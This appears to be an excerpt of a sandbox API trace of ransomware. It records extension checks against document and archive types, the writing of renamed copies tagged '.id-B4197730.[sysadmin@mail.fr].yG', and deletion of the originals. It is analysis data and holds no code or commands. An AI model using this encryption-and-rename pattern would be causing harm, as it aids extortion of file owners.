	[0179.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0179.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0179.743] lstrlenW (lpString=".doc") returned 4
	[0179.743] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0179.744] lstrlenW (lpString=".docx") returned 5
	[0179.744] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0179.744] lstrlenW (lpString=".pdf") returned 4
	[0179.744] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0179.744] lstrlenW (lpString=".xls") returned 4
	[0179.744] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0179.744] lstrlenW (lpString=".xlsx") returned 5
	[0179.744] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0179.744] lstrlenW (lpString=".ppt") returned 4
	[0179.744] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0179.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0179.744] lstrlenW (lpString=".zip") returned 4
	[0179.744] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0179.744] lstrlenW (lpString=".rar") returned 4
	[0179.744] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0179.744] lstrlenW (lpString=".bz2") returned 4
	[0179.744] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0179.744] lstrlenW (lpString=".7z") returned 3
	[0179.744] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0179.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0179.744] lstrlenW (lpString=".dbf") returned 4
	[0179.744] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0179.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0179.744] lstrlenW (lpString=".1cd") returned 4
	[0179.744] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0179.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0179.744] lstrlenW (lpString=".jpg") returned 4
	[0179.744] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0179.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0179.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0179.745] lstrlenW (lpString=".doc") returned 4
	[0179.745] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0179.745] lstrlenW (lpString=".docx") returned 5
	[0179.745] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1
	[0179.745] lstrlenW (lpString=".pdf") returned 4
	[0179.745] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0179.745] lstrlenW (lpString=".xls") returned 4
	[0179.745] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0179.745] lstrlenW (lpString=".xlsx") returned 5
	[0179.745] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1
	[0179.745] lstrlenW (lpString=".ppt") returned 4
	[0179.745] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0179.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0179.745] lstrlenW (lpString=".zip") returned 4
	[0179.745] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0179.745] lstrlenW (lpString=".rar") returned 4
	[0179.745] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0179.745] lstrlenW (lpString=".bz2") returned 4
	[0179.745] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0179.745] lstrlenW (lpString=".7z") returned 3
	[0179.745] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0179.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0179.745] lstrlenW (lpString=".dbf") returned 4
	[0179.745] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1
	[0179.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0179.745] lstrlenW (lpString=".1cd") returned 4
	[0179.745] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1
	[0179.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67
	[0179.745] lstrlenW (lpString=".jpg") returned 4
	[0179.745] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1
	[0179.746] lstrcmpiW (lpString1=".avi", lpString2=".yG") returned -1
	[0179.746] lstrlenW (lpString="join.avi") returned 8
	[0179.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0179.746] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=199994) returned 1
	[0179.746] CloseHandle (hObject=0x354) returned 1
	[0179.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20
	[0179.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0179.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0179.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0179.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0179.747] lstrlenW (lpString=".doc") returned 4
	[0179.747] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1
	[0179.747] lstrlenW (lpString=".docx") returned 5
	[0179.747] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1
	[0179.747] lstrlenW (lpString=".pdf") returned 4
	[0179.747] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1
	[0179.747] lstrlenW (lpString=".xls") returned 4
	[0179.747] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1
	[0179.747] lstrlenW (lpString=".xlsx") returned 5
	[0179.747] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1
	[0179.747] lstrlenW (lpString=".ppt") returned 4
	[0179.747] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1
	[0179.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0179.747] lstrlenW (lpString=".zip") returned 4
	[0179.747] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1
	[0179.747] lstrlenW (lpString=".rar") returned 4
	[0179.747] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1
	[0179.747] lstrlenW (lpString=".bz2") returned 4
	[0179.747] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1
	[0179.748] lstrlenW (lpString=".7z") returned 3
	[0179.748] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1
	[0179.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned 65
	[0179.749] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0179.762] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x3cf70e0, Size=0x2000) returned 0x3cf70e0
	[0179.764] lstrcmpiW (lpString1=".dat", lpString2=".yG") returned -1
	[0179.767] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0179.767] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0182.347] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.347] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0182.348] GetLastError () returned 0x0
	[0182.348] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x820, lpOverlapped=0x0) returned 1
	[0182.370] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0x830, lpOverlapped=0x0) returned 1
	[0182.371] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.371] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.372] SetEndOfFile (hFile=0x378) returned 1
	[0182.372] CloseHandle (hObject=0x378) returned 1
	[0182.372] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.372] SetEndOfFile (hFile=0x374) returned 1
	[0182.373] CloseHandle (hObject=0x374) returned 1
	[0182.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0182.373] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01166_.wmf")) returned 1
	[0182.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0182.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0182.374] lstrlenW (lpString=".doc") returned 4
	[0182.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.375] lstrlenW (lpString=".docx") returned 5
	[0182.375] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0182.375] lstrlenW (lpString=".pdf") returned 4
	[0182.375] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.375] lstrlenW (lpString=".xls") returned 4
	[0182.375] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.375] lstrlenW (lpString=".xlsx") returned 5
	[0182.375] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0182.375] lstrlenW (lpString=".ppt") returned 4
	[0182.375] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0182.375] lstrlenW (lpString=".zip") returned 4
	[0182.375] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.375] lstrlenW (lpString=".rar") returned 4
	[0182.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.375] lstrlenW (lpString=".bz2") returned 4
	[0182.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.376] lstrlenW (lpString=".7z") returned 3
	[0182.376] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0182.376] lstrlenW (lpString=".dbf") returned 4
	[0182.376] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0182.376] lstrlenW (lpString=".1cd") returned 4
	[0182.376] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0182.376] lstrlenW (lpString=".jpg") returned 4
	[0182.376] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0182.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0182.376] lstrlenW (lpString=".doc") returned 4
	[0182.376] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.376] lstrlenW (lpString=".docx") returned 5
	[0182.376] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0182.376] lstrlenW (lpString=".pdf") returned 4
	[0182.377] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.377] lstrlenW (lpString=".xls") returned 4
	[0182.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.377] lstrlenW (lpString=".xlsx") returned 5
	[0182.377] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0182.377] lstrlenW (lpString=".ppt") returned 4
	[0182.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0182.377] lstrlenW (lpString=".zip") returned 4
	[0182.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.377] lstrlenW (lpString=".rar") returned 4
	[0182.377] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.377] lstrlenW (lpString=".bz2") returned 4
	[0182.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.378] lstrlenW (lpString=".7z") returned 3
	[0182.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0182.378] lstrlenW (lpString=".dbf") returned 4
	[0182.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0182.378] lstrlenW (lpString=".1cd") returned 4
	[0182.378] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01166_.WMF") returned 68
	[0182.378] lstrlenW (lpString=".jpg") returned 4
	[0182.378] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.378] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0182.379] lstrlenW (lpString="DD01167_.WMF") returned 12
	[0182.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0182.379] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=2080) returned 1
	[0182.379] CloseHandle (hObject=0x374) returned 1
	[0182.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 0x220
	[0182.379] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0182.380] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.380] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.380] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0182.381] GetLastError () returned 0x0
	[0182.381] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x820, lpOverlapped=0x0) returned 1
	[0182.937] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0x830, lpOverlapped=0x0) returned 1
	[0182.945] ReadFile (in: hFile=0x374, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.953] WriteFile (in: hFile=0x378, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0182.953] SetEndOfFile (hFile=0x378) returned 1
	[0182.953] CloseHandle (hObject=0x378) returned 1
	[0182.953] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.953] SetEndOfFile (hFile=0x374) returned 1
	[0183.036] CloseHandle (hObject=0x374) returned 1
	[0183.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01167_.wmf")) returned 1
	[0183.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0183.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0183.050] lstrlenW (lpString=".doc") returned 4
	[0183.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.050] lstrlenW (lpString=".docx") returned 5
	[0183.050] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.050] lstrlenW (lpString=".pdf") returned 4
	[0183.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.050] lstrlenW (lpString=".xls") returned 4
	[0183.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.050] lstrlenW (lpString=".xlsx") returned 5
	[0183.051] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.051] lstrlenW (lpString=".ppt") returned 4
	[0183.051] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.051] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0183.051] lstrlenW (lpString=".zip") returned 4
	[0183.051] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.051] lstrlenW (lpString=".rar") returned 4
	[0183.051] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.051] lstrlenW (lpString=".bz2") returned 4
	[0183.051] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.051] lstrlenW (lpString=".7z") returned 3
	[0183.051] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0183.052] lstrlenW (lpString=".dbf") returned 4
	[0183.052] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0183.052] lstrlenW (lpString=".1cd") returned 4
	[0183.052] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0183.052] lstrlenW (lpString=".jpg") returned 4
	[0183.052] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0183.052] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0183.052] lstrlenW (lpString=".doc") returned 4
	[0183.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.053] lstrlenW (lpString=".docx") returned 5
	[0183.053] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.053] lstrlenW (lpString=".pdf") returned 4
	[0183.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.053] lstrlenW (lpString=".xls") returned 4
	[0183.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.053] lstrlenW (lpString=".xlsx") returned 5
	[0183.053] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.053] lstrlenW (lpString=".ppt") returned 4
	[0183.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0183.054] lstrlenW (lpString=".zip") returned 4
	[0183.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.054] lstrlenW (lpString=".rar") returned 4
	[0183.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.054] lstrlenW (lpString=".bz2") returned 4
	[0183.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.054] lstrlenW (lpString=".7z") returned 3
	[0183.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0183.054] lstrlenW (lpString=".dbf") returned 4
	[0183.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0183.054] lstrlenW (lpString=".1cd") returned 4
	[0183.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0183.055] lstrlenW (lpString=".jpg") returned 4
	[0183.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.059] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.059] lstrlenW (lpString="DD01179_.WMF") returned 12
	[0183.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0183.059] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=2024) returned 1
	[0183.059] CloseHandle (hObject=0x374) returned 1
